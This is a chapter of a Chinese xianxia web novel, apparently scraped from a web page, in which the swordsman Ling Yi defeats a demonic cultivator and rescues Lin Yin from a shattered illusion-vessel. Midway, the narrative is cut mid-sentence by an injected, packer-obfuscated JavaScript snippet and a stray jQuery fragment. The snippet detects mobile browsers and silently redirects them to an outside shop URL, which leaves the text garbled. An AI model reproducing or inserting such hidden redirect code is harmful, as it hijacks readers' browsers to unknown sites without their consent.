玄衣剑客飒踏身姿转瞬即至,森寒剑气如影随形,银白的剑身抵在邪修的细伶伶只剩一具白骨的腕上。
削铁如泥的锋利剑刃再往下那薄如一丝发的间距,便可割断白骨,让这邪修当场鲜血喷涌,命丧于此。
就在这千钧一发之际,邪修通身护体的黑气随他口中念下幽深晦涩的咒语,凝聚成坚硬如铁的细凯盔甲。
腕间被凌翊盯上的那处更是被尤其照顾,格外厚实,竟是硬生生抵挡住玄衣剑客这凛然一击。
邪修也被凌翊挑衅的语气所刺激,半身黑气全数被灌注进无色琉璃内的幻境。
幻境内流速突然加快,竟是快过现实百倍,那吸食灵气的魔咒也被加强,无时无刻不在吞噬着幻境内众修士的生命。
只待所有生机尽数被摧毁,无色琉璃寸寸断裂。
凌翊眼睁睁看着邪修不断灌注黑气,无色琉璃内林茵的身影动作越发迅速,火红色的凤凰仍不折不挠迅捷,进攻电光石火间只见片片素衣残影。
心心念念之人被困于奸人手中,凌翊本就难以心安,此刻见邪修不住威亚,更是万分愤怒。
焦急之下,凌翊也不打算再去争夺琉璃,一息念动,不器神剑应声跃至半空,随他口中法决完整,携带万钧之力霎那间以极尖薄的剑尖直击邪修裸露在外的阴鸷双眼。
邪修躲闪不及,被这惊天动地的一剑直入眸中,穿透而出,被黑雾笼罩着的面部出现了一狭窄的白痕,其上蕴含着森寒刚正的剑气,不停息地侵蚀着他东遮西掩藏起的躯体。
被直击双目,那伤口却未曾流出一丝一毫的温热血液,反而滴下漆黑腥气的浓稠液体,一寸寸腐蚀着邪修身下那片绿茵草地,直至见到黄褐泥土。
纵是早已接取斩除邪修妖物的乙级任务多年的凌翊,见此情此景也觉恶寒,这次的罪魁祸首,无论是从癫狂的心智,还是诡异扭曲的躯体来言,都万分邪性,不能以过往而言。
更惊悚的是,普通修士被一剑贯穿双目,早已遭受剧烈疼痛无力抵抗,甚至溢血过多身亡。
而面前这浑身黑气凝聚而成的邪修却分外异常,他就好像是没有痛感一样,被银白的剑身穿透双目,只是愣怔一瞬,下一刻周身的黑气自下而上涌动,汇集于伤处。
只是一眨眼的功夫,凌翊便再次见到了了那没有白色瞳仁的漆黑双目。
像是没有灵魂的傀儡,不会疼痛,不会气馁,只严丝合缝地一条条履行着主人的任务。
这该如何是好?
若是常人见此鬼境,自是惶恐犹疑,心生退意。
但凌翊,岂是常人。
在邪修从其他地方调运黑气补齐空洞双眼之时,不器银白的剑身早在他心念之下,从千丈高空而下,化神期修为凝聚于剑尖锋芒,携带排山倒海之势,力求一击破境。
森寒剑气与污浊黑气相撞,滔天之力往外扩散出层层相迭的巨大气浪,势不可当,瞬间便击倒了二人周遭凤清湖畔的万千法镜。
幸好,法力凝聚的水银镜镜面未裂。
只薄如蝉翼的镜面上入境人内心苦痛之景消失。
银白色的镜面反射着刺眼灼人的日光。
凌翊和邪修同时避让,待片刻后才适应好幻境睁开双眼。
未等凌翊再次狠厉出剑,只听得一声凄惨的哀鸣。
“不——”
只见浑身裹满黑气的邪修抓着无色琉璃盏的右手早已被凌冽剑气炸成碎末,消弭于空中。
而那无色琉璃此刻也好像承受不住大能对战摧枯拉朽的力量,此刻快速旋转跃至半空,琉璃壁上只见从中心处迸发出一条条细窄的裂缝,半息后已近乎破碎。
凌翊死死盯着琉璃内的一切,天崩地裂,生灵尽毁,而林茵此刻就在他面前遭受这毁天灭地的痛苦。
他神色悲痛,目眦欲裂,在看到的一瞬口中便念起最精绝的御剑之法,以前无仅有的速度,疾如旋踵,飞身逼近那琉璃。
这是自邪修出现之后,唯一一刻未被这冷面阎罗般的无情剑修所逼战,才有了一点喘息的机会。
无色琉璃虽碎成千万个微不可查的细碎片段,可仍旧坚硬,从中部击溃碎出的边缘更为锋利,而凌翊又格外地心焦,现下也是半点不在乎自己的身体,只将全身灵力灌注于脚踩的不器神剑。
也因此,在那极短暂的靠近破烂琉璃的时刻内,凌翊清俊的面容上被数片碎石划出十余道伤口,最长的那道竟是从他右眼高耸的眉骨划过,劈开狭长眼尾边缘,留下不停往外溢出鲜血的长痕。
身为化神期修士,九州上下不过寥寥无几,凌翊的身体条件自是顶配,甚至说他护身的银白剑气亦可毫不费力地瞬间将这些锋利碎片碾成齑粉。
可凌翊此刻却半点没有护身的想法。
碎石自眉骨而下,离凌翊视物的右眸不过半指间距,他却眼都不眨,只一心盯着琉璃内天崩地裂的灾厄,半点不曾理会自己身上数支细长伤痕的痛苦。
又或者,对于凌翊而言。
他只是想与那人共担苦难,同享疼痛。
他只是不想留她孤身一人而已。
无色琉璃盏在空中彻底破碎。
凌翊抬手去抓,只握住了坠落的琉璃碎片,划伤他一手是血。
正当他凝视着满手晶莹碎片时,身侧出现数道破空的风声。
凌翊忙抬眸看去。
只见从无色琉璃破碎的原点,空间畸变扭曲,一刹那竟凭空迸出数十名修士。
各色衣袍从天而降,其中不乏非常亮眼引人注目的红黄二色,可不器剑穗上湛蓝的珠子嗡嗡响动,凌翊定睛看去,身着素白衣衫的仙子婉容月貌,如九天玄女般飘摇而下,清丽非凡。
只是仙子一张口,就坏了这冥冥中自有天定的氛围。
“凌翊快来接我啊,我不想被摔死,好高啊救命。”
凌翊不免失笑,慌张之间他竟是忘了同灵相传的珠子,林茵腰带上那颗明明从未向他传达生命危险的讯息。
先前还绝命相战的阎罗剑修,此刻冷肃的眸中晕出几丝暖色,脚踏着冷白夺目的不器神剑,身姿飘渺,一息间就接到了猝然坠落看见来人就半分也想不起御剑之术的林茵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14266370|148167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
经此危险境况,林茵双手掌心都是攥不紧的冷汗,此刻毫不估量,紧紧扒着凌翊绣精细银月纹的玄衣襟,把冷脾气的剑修哪怕打斗多时仍严整的衣袍,扯得松散。
嘴里还一直邀功,是请求表扬的语气。
“这幻境我破的。”
话落,林茵好像觉得有几分不对,偷觑了眼凌翊,才小声补了句,“幻境的境眼是我找到的。”
“这次都是多亏了我。”
凌翊自是有求必应,“林茵本来是天底下最优秀最厉害最聪明的修士。”
或许是半空中风大的缘故,林茵把脸埋进被她抓得宽松的襟口,温热的气息直接扑打在凌翊的胸膛,“你真这么想的?”
凌翊只觉得身前热乎乎的一片,“那是必然。”
林茵觉得自己大抵是累了,脑子里被汹涌的情绪堵得晕乎乎的,直到被凌翊放在湖畔没有琉璃碎渣的地面,还是懵懂的状态。
凌翊握着林茵的双肩,让她保持平衡,见到面前人儿本来极富血色的脸庞此刻苍白如纸,前日还弧度饱满的唇瓣此刻给主人咬下一个个凹陷下去的小坑。
刚刚就觉得林茵身上已无什么灵力存在,现下探查果真如此。
“都说了不要逞强。”语罢,林茵摇摇欲坠的单薄身躯就下意识靠在凌翊怀中,凌翊叹了口气,从储物戒中掏出补气血的丹药,轻轻掰开女孩闭合的唇瓣喂了下去,源源不断的皓白灵气从凌翊牵着林茵的腕间传递到林茵虚弱的身体。
“把自己照顾成这幅模样,林茵你让我说你什么好。”
凌翊眉眼间满是怜惜。
怀中女孩意识混混沌沌见未曾听清对方近乎埋怨的叮咛话语,她只记得她从幻境逃出,身上毫无任何气力,更没想起御剑,是凌翊从万丈高空救了她。
那她是怎么从穷凶极恶的幻境中逃出的呢...
是境眼。
林茵仓惶从混沌中惊醒,嘴里一惊一乍地喊着:“救人。”
凌翊皱眉,“谁?”
林茵只觉得身体十分疲累,而身旁之人还一直不理解她的话,只好一字一顿慢慢诉说。
“江芳吟。”
这个凌翊认识,不过这人不是被邪修困于水银镜中遍体鳞伤.......
“风何故。”
“尘枫。”
凌翊说:“我不认识。”
林茵只好定神解释。
“两个与你境界相当的男修。”
“一个火法刀修,一个冰法药修。”
凌翊抬首望着辽阔天边坠落如流星般的数十名修士,所有动作像是在他面前缓慢上百倍,他一丝不苟地探查着每名修士的特征,只是那眸色并不愉悦。
江芳吟自行用木鹤从半空飞翔落下,甚至还沿途接了几名修士。
而剩余的二人。
凌翊毫不犹疑,一手一个,随意抓着领口,一落地就把人顺手抛下,也不怕两位修士旧伤未愈再添新伤。
毕竟这二人与他凌翊境界相当,自是不会因此等小事,身体上再添波折。